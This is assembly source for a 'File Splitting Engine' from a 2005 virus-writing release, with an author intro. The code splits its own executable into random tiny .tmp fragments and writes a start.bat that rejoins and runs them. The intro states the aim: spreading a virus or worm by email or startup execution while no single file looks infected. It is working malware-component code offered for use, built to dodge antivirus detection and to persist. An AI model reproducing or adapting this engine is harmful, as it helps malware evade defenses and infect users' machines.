File Splitting Engine by Second Part To Hell www.spth.de.vu spth@priest.com written in May-June 2005 in Austria This is just a small engine, but I'm sure it could be very useful. What does the engine do? It splitts the current file into 3-10 byte parts and creates a joining file (called start.bat). To understand it's purpose, you should read my article called "Over-File Splitting". What could you do with the splitted files? - You could make an archive (via own routing, possible installed WinZIP/RAR or use the WinME+ preinstalled function [C:\WINDOWS\System32\zipfldr.dll,-10195] to compress files.) This file now could be send out via eMail. The advantage: No file is infected with an virus - but all together they are. - You could save all files in a directory (Windir, system32, whatever), and call the joining file every startup. What may happen? Virus/Worm works at the computer, but no file is infected :) - You could think of your own way to use this technique. Lazy ass :) How to compile: - Delete this intro - Use flat assembler 1.56 Now: Much fun with it :) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [File Splitting Engine] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include '..\FASM\INCLUDE\win32ax.inc' .data c_file_name dd 0x0 c_file_rnd_name: times 8 db 0x0 db '.tmp',0 c_file_handle dd 0x0 c_file_size dd 0x0 c_map_handle dd 0x0 c_map_pointer dd 0x0 compain_name db 'start.bat',0 compain_data dd 0x0 compain_pointer dd 0x0 compain_start db 'copy ' compain_handle dd 0x0 split_handle dd 0x0 split_counter db 0x0 rand_name_buffer: times 8 db 0x0 rnd_file_name: times 8 db 0x0 db '.tmp',0 ZERO_field dd 0x0 systemtime_struct: ; for random number dw 0 ; wYear dw 0 ; wMonth dw 0 ; wDayOfWeek dw 0 ; wDay dw 0 ; wHour dw 0 ; wMinute dw 0 ; wSecond rnd: dw 0 ; wMilliseconds .code start: invoke GetCommandLine inc eax ; Delete first " mov ebx, eax ; Save eax get_my_name: inc ebx ; Get next letter cmp byte [ebx], '.' ; Compare with '.' jne get_my_name mov byte [ebx+4], 0x0 ; Delete the second " mov [c_file_name], eax ; Save the pointer invoke DeleteFile, compain_name ; Delete the old compainer-file the file mov ebp, 0xAAAAAAAA ; Influences the random engine call random_name ; random name in rnd_file_name mov esi, rnd_file_name ; From: random-name buffer mov edi, c_file_rnd_name ; To: Buffer for this copy of the file mov ecx, 8 ; How much: 8 letters rep movsb ; Copy string invoke CopyFile, [c_file_name], c_file_rnd_name, FALSE ; Copies the current file to a .tmp invoke CreateFile, c_file_rnd_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0x0 ; Open own file mov [c_file_handle], eax ; Save the file handle invoke GetFileSize, [c_file_handle], c_file_size ; Get the size of the file mov [c_file_size], eax ; Low Filesize returned in eax invoke CreateFileMapping, [c_file_handle], 0x0, PAGE_READWRITE, 0x0, [c_file_size], 0x0 ; Create a Map mov [c_map_handle], eax ; Save the Map handle invoke MapViewOfFile, [c_map_handle], FILE_MAP_WRITE, 0x0, 0x0, [c_file_size] ; Map view of file mov [c_map_pointer], eax ; Save the pointer of file invoke VirtualAlloc, 0x0, 0x120000, 0x1000, 0x4 ; Reserve Space in Memory mov [compain_data], eax ; Save the pointer to it. mov [compain_pointer], eax ; Save again mov esi, compain_start ; What to write mov edi, [compain_pointer] ; Where to write mov ecx, 5 ; How much to write rep movsb ; Write! add [compain_pointer], 5 ; Get next empty byte to write main_loop: mov ebp, 0xAAAAAAAA ; Influences the random engine call random_name ; random name in rnd_file_name invoke CreateFile, rnd_file_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0 cmp eax, INVALID_HANDLE_VALUE ; If file already existed je main_loop ; then get a new file-name mov [split_handle], eax ; Save the file-handle call random_number ; Get random number xor eax, eax ; eax=0 mov al, [rand_name_buffer] ; al~=random and al, 7 ; al= 0000 0??? add al, 3 ; At least three byte mov [split_counter], al ; Save that bytes sub [c_file_size], eax ; Decrease the bytes to write invoke WriteFile, [split_handle], [c_map_pointer], eax, ZERO_field, 0x0 ; Write (1..8) byte invoke CloseHandle, [split_handle] ; Close the file xor eax, eax mov al, [split_counter] ; How many bytes written add [c_map_pointer], eax ; Add the pointer - write the next few bytes next time mov esi, rnd_file_name ; From: Filename-buffer mov edi, [compain_pointer] ; To: compainer-pointer mov ecx, 12 ; 8+strlen('.tmp') rep movsb ; Write! add [compain_pointer], 12 ; Add 12 to pointer mov eax, [compain_pointer] ; Pointer to eax mov byte [eax], '+' ; Move '+' to the code's memory inc [compain_pointer] ; Increase the pointer cmp [c_file_size], 0 ; Compare if more bytes to write jg main_loop ; If yes, jmp to main_loop invoke UnmapViewOfFile, [c_map_pointer] ; Unmap View of File invoke CloseHandle, [c_map_handle] ; Close Map invoke CloseHandle, [c_file_handle] ; Close File invoke DeleteFile, c_file_rnd_name ; Delete the temporary copy of the current file invoke CreateFile, compain_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0 mov [compain_handle], eax mov eax, [compain_pointer] ; eax=pointer dec eax ; Delete the last '+' mov byte [eax], 0x20 ; Add a space inc [compain_pointer] ; Increase pointer again mov ebp, 0xAAAAAAAA ; Influences the random engine call random_name ; random name in rnd_file_name mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.exe' ; instate of '.tmp', '.exe' dec [compain_pointer] mov esi, rnd_file_name ; From: rnd_file_name mov edi, [compain_pointer] ; To: compainter_pointer mov ecx, 12 ; How much: 12 bytes rep movsb ; Write add [compain_pointer], 12 ; Add 12, to get the end again mov eax, [compain_pointer] ; eax=pointer to content mov word [eax], 0x0A0D ; Next Line add [compain_pointer], 2 mov esi, rnd_file_name ; From: rnd_file_name mov edi, [compain_pointer] ; To: compainter_pointer mov ecx, 12 ; How much: 12 bytes rep movsb ; Write add [compain_pointer], 12 ; Add 12, to get the end again mov eax, [compain_data] sub [compain_pointer], eax invoke WriteFile, [compain_handle], [compain_data], [compain_pointer], ZERO_field, 0x0 ; Write the file invoke CloseHandle, [compain_handle] invoke ExitProcess, 0x0 random_number: pop edi ; Get value of stack push edi ; Back to the stack mov ecx, 8 ; ecx=counter mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random mov dl, 0x87 ; same as dh random_name_loop: push dx ; Save dx at stack push ecx ; Save counter at stack call random_byte ; Random number in al pop ecx ; get counter xor al, cl ; Counter influences pseudo random number pop dx ; Get dx push ecx xor dx, cx ; Counter influences influncing number add dh, al ; Random number influences influencing number sub dl, al ; Same as dh neg dl ; Neg dl xor dl, dh ; dl XOR dh -> more variability xor al, dl ; random number changes sub ax, di ; value of stack influences random number add ax, dx ; ax+dx mov dl, [rand_name_buffer+ecx-2] mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ????? sub al, dl ; al-=dl add al, dh ; al+=dh mov ah, dl ; ah=dl push ax ; AX to stack mov cl, 1 ; cl=1 or dh, cl ; dh is at least 1 (to reduce chance of result=zero) mul dh ; AL=AX*DH pop cx ; CX=old AX push cx ; To stack again add cl, al ; CL+=AL sub cl, ah ; CL-=AH xchg al, cl ; AL=CL mov cx, bp ; cx=bp mul cl ; AX=AL*CL neg ah ; NEG AH xor al, ah ; xor AL and AH pop cx ; get old AX sub cl, al ; SUB add cl, dl ; cl+=old random number sub al, cl ; al ~=random :) pop ecx ; Get counter mov [rand_name_buffer+ecx-1], al ; Save random letter loop random_name_loop ret random_name: call random_number ; Get 8 random bytes mov ecx, 8 ; counter=8, as we want to do it 8 times changetoletter: mov al, [rand_name_buffer+ecx-1] ; Get a letter mov bl, 10 ; BL=10 xor ah, ah ; AX: 0000 0000 ???? ???? div bl ; AL=rnd/10=number between 0 and 25 add al, 97 ; Add 97 for getting lowercase letters mov [rnd_file_name+ecx-1], al ; Save random letter loop changetoletter ret random_byte: invoke GetSystemTime, systemtime_struct ; Get first number mov ebx, [rnd-2] ; ebx=number add ebx, edx ; Making it pseudo-independent of time sub ebx, ecx xor ebx, eax xchg bl, bh pop ecx push ecx neg ebx xor ebx, ecx ; ebx=pseudo-indepentend number invoke GetTickCount ; Get second number xor eax, ecx ; eax=number neg ax ; Making it pseudo-independent of time xor eax, edx xor ah, al sub eax, ebp add eax, esi ; eax=pseudo-indepentend number xor eax, ebx ; Compain the numbers -> eax mov ebx, eax ; Save eax shr eax, 8 ; e-part -> ax xor ax, bx xor al, ah ; al=number ret .end start